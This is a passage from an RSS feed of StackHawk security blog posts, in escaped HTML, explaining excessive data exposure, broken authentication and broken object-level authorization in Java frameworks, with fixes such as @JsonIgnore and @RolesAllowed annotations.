details that should appear there. However, the attacker can use the browser&amp;#39;s developer tools or do an API request with an external tool (like postman) and see the full data that the server returns. So, where a regular user will see something like this &lt;/p&gt;&lt;p&gt;&lt;code&gt;HTTP/1.1 200 OK { &amp;quot;user: 
{ &amp;quot;username&amp;quot;: &amp;quot;john doe&amp;quot;, &amp;quot;email&amp;quot;:&amp;quot;johndoe@gmail.com&amp;quot;  }
{&lt;/code&gt;
&lt;/p&gt;&lt;p&gt;the attacker will see the full output: &lt;/p&gt;&lt;p&gt;&lt;code&gt;HTTP/1.1 200 OK { &amp;quot;user: 
{ &amp;quot;username&amp;quot;: &amp;quot;john doe&amp;quot;, &amp;quot;email&amp;quot;:&amp;quot;johndoe@gmail.com&amp;quot;,
&amp;quot;name: John Doe Smith&amp;quot;, &amp;quot;address&amp;quot;: &amp;quot;Smith&amp;#39;s road 1, NY, NY&amp;quot;  }
{&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Protecting Against Excessive Data Exposure&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;What makes data sensitive and what manifests excessive data exposure is highly context-based. What constitutes excessive data in one API is a perfectly reasonable response from a different API. &lt;/p&gt;&lt;p&gt;Thus, it means that automated tools usually can&amp;#39;t help you with identifying and mitigating this vulnerability. It&amp;#39;s up to the developer to harden the API to protect against this vulnerability. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Vulnerability Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First, I&amp;#39;ll provide some general guidelines for mitigating this vulnerability. After that, I&amp;#39;ll provide some Java Spring-specific examples. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;1. Never Rely on the Front End to Sanitize Data&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The back-end developers that implement the API should be the ones that return only nonsensitive data. You shouldn&amp;#39;t rely on the front end to filter out that data.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Even if front-end developers properly filter out the unwanted data, as seen above, an attacker can access the whole response by accessing the API independently. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;I&amp;#39;ll provide an example of how to avoid returning excessive data in an API response in Java Spring in the next section. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;2. Protect API Endpoints That Require Authentication and Authorization&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;As I&amp;#39;ve &lt;a href=&quot;https://www.stackhawk.com/blog/spring-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;described&lt;/u&gt;&lt;/a&gt;, you should protect with authentication and authorization each API endpoint that should return sensitive data. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;3. Don&amp;#39;t Expose All API Endpoints Via HATEOS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If you implement HATEOS as part of your REST API, don&amp;#39;t return the whole list of API methods. Hence, return only a list of those methods that are relevant for the specific endpoint. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Spring Boot&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Spring framework is a superb Java framework for creating web applications and enterprise applications. &lt;/p&gt;&lt;p&gt;In 2005, Pivotal developed the Spring framework, and it&amp;#39;s still very popular today. Ever since Pivotal developed the Spring framework, they&amp;#39;ve added various modules to the core Spring container. &lt;/p&gt;&lt;p&gt;Spring Boot is one of the most commonly used ones, representing the convention over configuration part of the Spring framework. Spring Boot lets you code with very minimal configuration. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating Excessive Data Exposure Vulnerability in Spring Boot&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s return to the API example of a user endpoint discussed earlier: &lt;/p&gt;&lt;p&gt;&lt;code&gt;HTTP/1.1 200 OK { &amp;quot;user: { &amp;quot;username&amp;quot;: &amp;quot;john doe&amp;quot;, &amp;quot;email&amp;quot;:&amp;quot;johndoe@gmail.com&amp;quot;, &amp;quot;name: John Doe Smith&amp;quot;, &amp;quot;address&amp;quot;: &amp;quot;Smith&amp;#39;s road 1, NY, NY&amp;quot; } {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We can represent it in Spring Boot using the following class: &lt;/p&gt;&lt;p&gt;&lt;code&gt;public class User {
    private String username;
    private String email;
    private String fullName;
    private String address;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As I mentioned earlier, we want the API to respond only with the username and email. To do this, we can add the &lt;code&gt;@JsonIgnore&lt;/code&gt; property to the fields we want to exclude in the API response: &lt;/p&gt;&lt;p&gt;&lt;code&gt;public class User {
    private String username;
    private String email;
    @JsonIgnore
    private String fullName;
    @JsonIgnore
    private String address;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This prevents the fullName and address from appearing in the response. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are the backbone of many applications and websites. They provide critical services to clients. &lt;/p&gt;&lt;p&gt;Excessive data exposure vulnerability is a serious vulnerability that can pose a security risk to an organization. In this post, I&amp;#39;ve shown the way that this vulnerability is exploited and different attack vectors. &lt;/p&gt;&lt;p&gt;Likewise, I&amp;#39;ve added some standard ways to mitigate it, with a specific example for Java Spring Boot. Founded in 2005, this is a very popular framework for creating Java back-end applications, and it&amp;#39;s still one of the most popular frameworks in the Java world. &lt;/p&gt;&lt;p&gt;Don&amp;#39;t rely on the front end to filter out sensitive data; instead, manually go through your endpoints and make sure that you return only the necessary data. &lt;/p&gt;&lt;p&gt;In addition, avoid providing links for all the methods in the API, unless you&amp;#39;re building an API documentation and, in general, harden your API as much as possible. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Alexander Fridman. &lt;/i&gt;&lt;a href=&quot;https://alexanderfo.com&quot;&gt;&lt;i&gt;&lt;u&gt;Alexander&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a veteran in the software industry with over 11 years of experience. He worked his way up the corporate ladder and has held the positions of Senior Software Developer, Team Leader, Software Architect, and CTO. Alexander is experienced in frontend development and DevOps, but he specializes in backend development.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Java Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/java-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Authentication is one of the key policies of any application. This policy can control and protect the resources from unauthorized access. But if not implemented properly, it can result in multiple security vulnerabilities. &lt;/p&gt;&lt;p&gt;Java has held up great through the test of time. It&amp;#39;s been around since 1996 and has been reinvented periodically to keep up with programmers&amp;#39; needs. It&amp;#39;s one of the most widely used languages and has its share of &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=java&quot;&gt;&lt;u&gt;vulnerabilities&lt;/u&gt;&lt;/a&gt; in authentication. &lt;/p&gt;&lt;p&gt;By the end of this post, you&amp;#39;ll be able to understand the underlying problem and its actual impact, along with how to prevent it. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Broken Authentication?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken authentication is a broad range of security vulnerabilities that occur due to poor implementation of an authentication mechanism.&lt;/p&gt;&lt;p&gt;Broken authentication occurs when a hacker or cybercriminal can bypass the authentication process in any possible way. This allows unauthenticated access to a system or, in some cases, allows the attacker to authenticate without providing a valid password or PIN.&lt;/p&gt;&lt;p&gt;For example, if a cybercriminal successfully obtains a username from a victim but the authentication system doesn&amp;#39;t have any rate limit in place, the attacker can bypass the authentication by brute-forcing the password.&lt;/p&gt;&lt;p&gt;There are many different methods attackers can use to exploit broken authentication vulnerabilities. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Depending on the type of vulnerability and how it&amp;#39;s exploited, attackers may be able to access sensitive data, change data, and much more.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;What Leads to Broken Authentication Vulnerabilities?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken authentication can cause many problems such as data leakage and system compromise. Various reasons lead to broken authentication, including &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;using a guessable session ID,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;having a session that doesn&amp;#39;t expire after a password change,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;using weak and well-known passwords,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;have a lack of brute-force protection, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;storing sensitive data (passwords) in clear text.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;But these are just vulnerabilities; how do hackers exploit these issues? Let&amp;#39;s dig into that. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Attacks to Exploit Broken Authentication Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When a hacker finds a vulnerability in a website&amp;#39;s authentication system, they&amp;#39;ll try to exploit it and retrieve sensitive data. But what exactly does the hacker do when it comes to exploiting the vulnerability? Here are three different types of attacks hackers use to exploit broken authentication vulnerabilities. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Brute-Force and Dictionary Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A brute-force attack is the simplest type of attack. It&amp;#39;s a trial-and-error method where the hacker tries to guess the target user&amp;#39;s credentials. The attacker can use several techniques to do this. &lt;/p&gt;&lt;p&gt;On the other hand, a dictionary attack is the most common method and is simply a trial-and-error method to guess the user&amp;#39;s password by using a wordlist. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Password Spraying&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Password spraying is one of the most common attack methods. Oftentimes, it&amp;#39;s used in conjunction with bots. This attack involves repeatedly attempting to log on to a server or website with a username and password combination. &lt;/p&gt;&lt;p&gt;The advantage of password spraying over a brute-force attack is that it&amp;#39;s often successful. This is because it takes advantage of a common password used by many users.  &lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Response Manipulation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Response manipulation exploits vulnerabilities in the communication channel between a server (or any other host) and a client. This happens when the application relies on the successful response (only boolean) of the server to validate a user. Additionally, an attacker can easily manipulate the incoming response using &lt;a href=&quot;https://www.zaproxy.org/&quot;&gt;&lt;u&gt;proxy&lt;/u&gt;&lt;/a&gt; and bypass authentication. &lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Also read: &lt;/i&gt;&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/react-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;React Broken Authentication Guide: Examples and Prevention&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;Now that we&amp;#39;ve looked at broken authentication vulnerability in general, let&amp;#39;s understand the vulnerability specific to Java. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding Broken Authentication in Java&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this section, we&amp;#39;ll look at three different code snippets (Java &lt;a href=&quot;https://spring.io/projects/spring-boot&quot;&gt;&lt;u&gt;Spring Boot&lt;/u&gt;&lt;/a&gt;) and understand broken authentication vulnerabilities and how you can prevent them. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s get started. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Code Snippet #1&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the code snippet above, we have a /register endpoint that receives an email address and password from the request body. The security risks in this code snippet are: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Weak password policy&lt;/b&gt;—There is no check on the length of a password or even to check if the password is strong enough.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cleartext storage of sensitive data&lt;/b&gt;—A password is stored directly in the database without &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html&quot;&gt;&lt;u&gt;hashing&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Salt_(cryptography)&quot;&gt;&lt;u&gt;salting&lt;/u&gt;&lt;/a&gt; the password.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;To prevent the issues mentioned above, we recommend you have a helper function to check if the password is strong and to salt the password before storing it in the DB. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;Code Snippet #2&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the code above, we have a /changePassword route that takes currentPassword and newPassword as input and changes the user&amp;#39;s password by updating it in the &lt;a href=&quot;https://www.oracle.com/in/database/what-is-database/&quot;&gt;&lt;u&gt;DB&lt;/u&gt;&lt;/a&gt;. This code has an improper session management vulnerability due to which the session would not expire after the user changes his password. &lt;/p&gt;&lt;p&gt;To prevent this issue, the application should log out the user from all other active sessions. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;Code Snippet #3&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the code above, we have an admin route /admin/user/data responsible for retrieving all of a user&amp;#39;s data. The security risk in this code involves the lack of API authentication to check a user&amp;#39;s authenticity and validate whether the authenticated user is admin. &lt;/p&gt;&lt;p&gt;To prevent the issue above, we recommend you add an authentication check and a proper authorization check (if the user is an admin) to avoid a data breach. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now that we thoroughly understand the vulnerability, let&amp;#39;s take a look at some common best practices to avoid such risks. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Best Practices to Avoid Broken Authentication Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Broken authentication vulnerabilities are a &lt;b&gt;huge problem&lt;/b&gt; for all applications, including mobile, web, and iOS. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Furthermore, account takeover attacks are responsible for a significant portion of the damage done to web applications and often involve broken authentication vulnerabilities.  &lt;/p&gt;&lt;p&gt;Here are some best practices to help you avoid broken authentication vulnerabilities in your applications. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enforce a strict password policy&lt;/b&gt;. Above all, creating longer and stronger passwords is the first step to avoiding broken authentication vulnerabilities. To enforce a strict password policy, you need to either use &lt;a href=&quot;https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol&quot;&gt;&lt;u&gt;LDAP&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Active_Directory&quot;&gt;&lt;u&gt;Active Directory&lt;/u&gt;&lt;/a&gt; to manage your authentication credentials, or use a password management tool like &lt;a href=&quot;https://www.lastpass.com/&quot;&gt;&lt;u&gt;LastPass&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.dashlane.com/&quot;&gt;&lt;u&gt;DashLane&lt;/u&gt;&lt;/a&gt;, or &lt;a href=&quot;https://1password.com/&quot;&gt;&lt;u&gt;1Password&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Require multi-factor authentication&lt;/b&gt;. &lt;a href=&quot;https://en.wikipedia.org/wiki/Multi-factor_authentication&quot;&gt;&lt;u&gt;Multi-factor authentication&lt;/u&gt;&lt;/a&gt; is a very effective method of preventing unauthorized access to your systems. This approach, in combination with a username/password pair, is highly recommended for systems that access sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use rate limiting&lt;/b&gt;. One of the best ways to avoid authentication attacks is to use a rate limit on all authenticated related endpoints such as login, which prevents brute-force attacks. Modern-day applications use two different ways to implement rate limitations. First, they can block the user&amp;#39;s account after he has tried to log in several times with an incorrect password (known as account lockout). Second, they can stop an attack using a &lt;a href=&quot;https://www.google.com/recaptcha/about/&quot;&gt;&lt;u&gt;CAPTCHA&lt;/u&gt;&lt;/a&gt; image challenge. Although these CAPTCHA challenges were annoying and difficult to decipher in the past, nowadays, with advances in &lt;a href=&quot;https://www.ibm.com/in-en/topics/computer-vision&quot;&gt;&lt;u&gt;computer vision&lt;/u&gt;&lt;/a&gt;, OCR, etc., this is becoming less effective.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken authentication vulnerability is a major threat to a system&amp;#39;s security. For example, it can result in a loss of confidential information, loss of reputation, and financial loss. Moreover, the severity of this vulnerability is usually very high, as the unauthorized user can access the system and its resources. Consequently, this may lead to the theft of an organization&amp;#39;s data and sensitive information. &lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ve discussed broken authentication vulnerability in-depth and learned how hackers can exploit it. Furthermore, we&amp;#39;ve learned some preventive measures you can take to protect your applications from such attacks.  &lt;/p&gt;&lt;p&gt;Scanning for broken authentication vulnerabilities using StackHawk &lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;&lt;u&gt;DAST&lt;/u&gt;&lt;/a&gt; is a breeze! For more information, don&amp;#39;t hesitate to contact us at &lt;a href=&quot;mailto:hello@stackhawk.com&quot;&gt;&lt;u&gt;hello@stackhawk.com&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Keshav Malik. Keshav is a full-time developer who loves to build and break stuff. He is constantly on the lookout for new and interesting technologies and enjoys working with a diverse set of technologies in his spare time. He loves music and plays badminton whenever the opportunity presents itself.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Java Broken Object Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/java-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Broken object-level authorization (BOLA) happens when a user has the ability to gain access to information that only a system administrator should see. This means that attackers have access to sensitive resources, like confidential user data or business secrets. It results in catastrophic security breaches. So, web application developers need to understand this security problem and how to avoid it. &lt;/p&gt;&lt;p&gt;This article will discuss broken object-level authorization (BOLA) problems in Java applications. Then, we&amp;#39;ll look at a few examples and how you can fix and prevent the problem. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Object Level Authorization&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken object level authorization happens when an application fails to check a user&amp;#39;s entitlements before granting them access to information. As a result of application developers failing to control access to individual resources, authenticated users are able to retrieve, modify, create and delete information that they shouldn&amp;#39;t. &lt;/p&gt;&lt;p&gt;There are plenty of third-party services and libraries for authentication, but the responsibility for verifying access control at the object level falls to the application. This check is often based on user information provided by the authenticator, but using that information for performing a final check is the responsibility of the app code. &lt;/p&gt;&lt;p&gt;These bugs are easy to exploit since all the hackers need are a set of credentials and a script to retrieve the data. So once an attacker discovers a BOLA problem, they exploit the application very quickly. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;A Broken Object Level Authorization Example&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;A Simple API&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Consider a website that stores user information using a simple RESTful API. Here&amp;#39;s a simple JSON definition of a web site user: &lt;/p&gt;&lt;p&gt;&lt;code&gt;{
    &amp;quot;id&amp;quot;: 1,
    &amp;quot;fullName&amp;quot;: &amp;quot;One More Person&amp;quot;,
    &amp;quot;jobTitle&amp;quot;: &amp;quot;Yet Another Title&amp;quot;,
    &amp;quot;email&amp;quot;: &amp;quot;foo@example.com&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The application offers typical CRUD endpoints: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GET&lt;/b&gt; /people/ with no argument retrieves a list of all users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;PUT&lt;/b&gt; /people/{ID} with a JSON record updates an existing user with new information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;POST&lt;/b&gt; /people/ with a JSON record to add a new user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GET&lt;/b&gt; /people/{ID} to retrieve a user by Id.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DELETE&lt;/b&gt; /people/{ID} deletes a user.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;A BOLA API Issue&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Leaking personal information about users can result in serious civil and legal consequences. So, managing user information requires extra care. Depending on the nature of the application, there may be reasons for users to see information about each other. But, even that requires extra care. &lt;/p&gt;&lt;p&gt;So at a minimum, the website should provide object-level authorization like this: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Site administrators can add new users, update their information, and delete them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Users can update their own information and remove themselves.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Users can retrieve each other&amp;#39;s information.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Item #3 may or may not be appropriate based on the site. The rules governing access to user access are beyond the scope of this article. Depending on the type of information, providing users access to each other&amp;#39;s data may be a case of Excessive Data Exposure. &lt;/p&gt;&lt;p&gt;Regardless of the details, checking to see if a user has a valid session isn&amp;#39;t enough. The application needs to verify that a user is valid and then ensure that they are allowed to complete their request. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Java Broken Object Level Authorization&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Sample Java RESTful API&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s look at an application based on the sample code included in &lt;a href=&quot;https://github.com/dropwizard/dropwizard/tree/release/2.1.x/dropwizard-example&quot;&gt;&lt;u&gt;Dropwizard&amp;#39;s GitHub repo&lt;/u&gt;&lt;/a&gt;. In order to support this tutorial, I&amp;#39;ve made a few small modifications. So if you pull the code from Github you&amp;#39;ll see some differences. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a modified version of the example &lt;b&gt;PeopleResource &lt;/b&gt;class. All the endpoints defined above are implemented in this class, and the users must authenticate with Basic Authentication to access the endpoint. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;On line #3, the &lt;code&gt;&lt;b&gt;@RolesAllowed()&lt;/b&gt;&lt;/code&gt; annotation limits access to these endpoints to authenticated users with the &lt;code&gt;&lt;b&gt;BASIC_GUY&lt;/b&gt;&lt;/code&gt; role. As a result, the user must be authenticated before they can access any methods in this class. &lt;/p&gt;&lt;p&gt;This role is defined here: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Unauthenticated users have no role. The user named &amp;quot;good-guy&amp;quot; has the &lt;code&gt;&lt;b&gt;BASIC_GUY&lt;/b&gt;&lt;/code&gt; role. The &amp;quot;chief-wizard&amp;quot; user has both the &lt;code&gt;&lt;b&gt;ADMIN&lt;/b&gt;&lt;/code&gt; and &lt;code&gt;&lt;b&gt;BASIC_GUY&lt;/b&gt;&lt;/code&gt; roles. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Java Broken Object-Level Authorization in Action&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s take this example for a test drive. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the log of an unauthenticated request with &lt;a href=&quot;https://web.postman.co//&quot;&gt;&lt;u&gt;Postman&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Unauthenticated users can&amp;#39;t view users. That&amp;#39;s what we&amp;#39;d expect. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s try with the &amp;quot;good-guy&amp;quot; login. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That user is able to view users. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s update that user&amp;#39;s email. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That worked, too. &amp;quot;Good-guy&amp;quot; can modify users. &lt;/p&gt;&lt;p&gt;The same account can add them, too. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code limits access to the &lt;b&gt;PeopleResource&lt;/b&gt; class to members of &lt;b&gt;BASIC_GUY. &lt;/b&gt;As a result, members of that class can call all of its endpoints. &lt;/p&gt;&lt;p&gt;But, this class has BOLA. Any user with access to the application can not only view user information but can modify, add, and delete them, too. &lt;/p&gt;&lt;p&gt;So, how do we fix this? &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Fixing Java Broken Object-Level Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;You fix Broken Object-Level Authorization by adding explicit authorization for privileged operations. &lt;/p&gt;&lt;p&gt;The first step is to identify the operations to which we don&amp;#39;t want &lt;code&gt;&lt;b&gt;BASIC_GUYs&lt;/b&gt;&lt;/code&gt; to have access. For our sample application, that&amp;#39;s easy. Only members of &lt;code&gt;&lt;b&gt;ADMIN&lt;/b&gt;&lt;/code&gt; should be able to add, modify, and delete users. &lt;/p&gt;&lt;p&gt;Dropwizard makes this easy. We can add the &lt;code&gt;&lt;b&gt;@RolesAllowed()&lt;/b&gt;&lt;/code&gt; annotation to methods, too. &lt;/p&gt;&lt;p&gt;First, let&amp;#39;s limit the ability to add new users to &lt;code&gt;&lt;b&gt;ADMIN&lt;/b&gt;&lt;/code&gt; first: &lt;/p&gt;&lt;p&gt;&lt;code&gt; @POST
    @UnitOfWork
    @RolesAllowed(&amp;quot;ADMIN&amp;quot;)
    public Person createPerson(@Valid Person person) {
        return peopleDAO.create(person);
    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now, we&amp;#39;ll try to add a new user as &amp;quot;good-guy&amp;quot;: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Perfect. &lt;/p&gt;&lt;p&gt;Next, let&amp;#39;s try as &amp;quot;chief-wizard.&amp;quot; You can see in the log that the encrypted Authorization token holds a different value: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The API request succeeded. &lt;/p&gt;&lt;p&gt;But can &amp;quot;good-guy&amp;quot; still see the new user? Here&amp;#39;s the request with the original token: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&amp;quot;Good-guy&amp;quot; can still list users. &lt;/p&gt;&lt;p&gt;So, we can finish the job by adding the annotation to &lt;code&gt;&lt;b&gt;updatePerson&lt;/b&gt;&lt;/code&gt; and &lt;code&gt;&lt;b&gt;deletePerson&lt;/b&gt;&lt;/code&gt;&lt;b&gt;.&lt;/b&gt; &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Avoid Java Broken Object-Level Authorization&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this article, we&amp;#39;ve looked at Broken Object Level Authorization and how it can lead to serious data compromises. We saw how application design that doesn&amp;#39;t address access control on the object level allows unprivileged users to add, remove and update the information they shouldn&amp;#39;t be allowed to. Then, after an overview of the problem, we looked at sample java code that BOLA. After that, we addressed the issue by adding object level authorization where it was needed. Dropwizard and most Java frameworks have the mechanisms you need to address this serious problem. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Eric&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel Excessive Data Exposure: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-excessive-data-exposure-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Excessive data exposure is when an API responds to a request with more data than required. Superficially, it looks like a design flaw. In reality, &lt;a href=&quot;https://owasp.org/www-project-api-security/&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt; Lists this problem as one of the top three &lt;a href=&quot;https://www.apisec.ai/blog/what-is-owasp-api-security-top-10/&quot;&gt;&lt;u&gt;API Security&lt;/u&gt;&lt;/a&gt; threats. If an attacker discovers a method that returns the right fields, they can use an unprivileged account to retrieve the data. As a result, these vulnerabilities can lead to serious data compromises, including leaking user data and creating legal liabilities. &lt;/p&gt;&lt;p&gt;This post will look at the nature of excessive data exposure and how you can protect yourself in Laravel applications. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Excessive Data Exposure?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Many mobile and web apps request API data, receive a superset of the fields they need and filter the results based on what they want to display. So, the application design 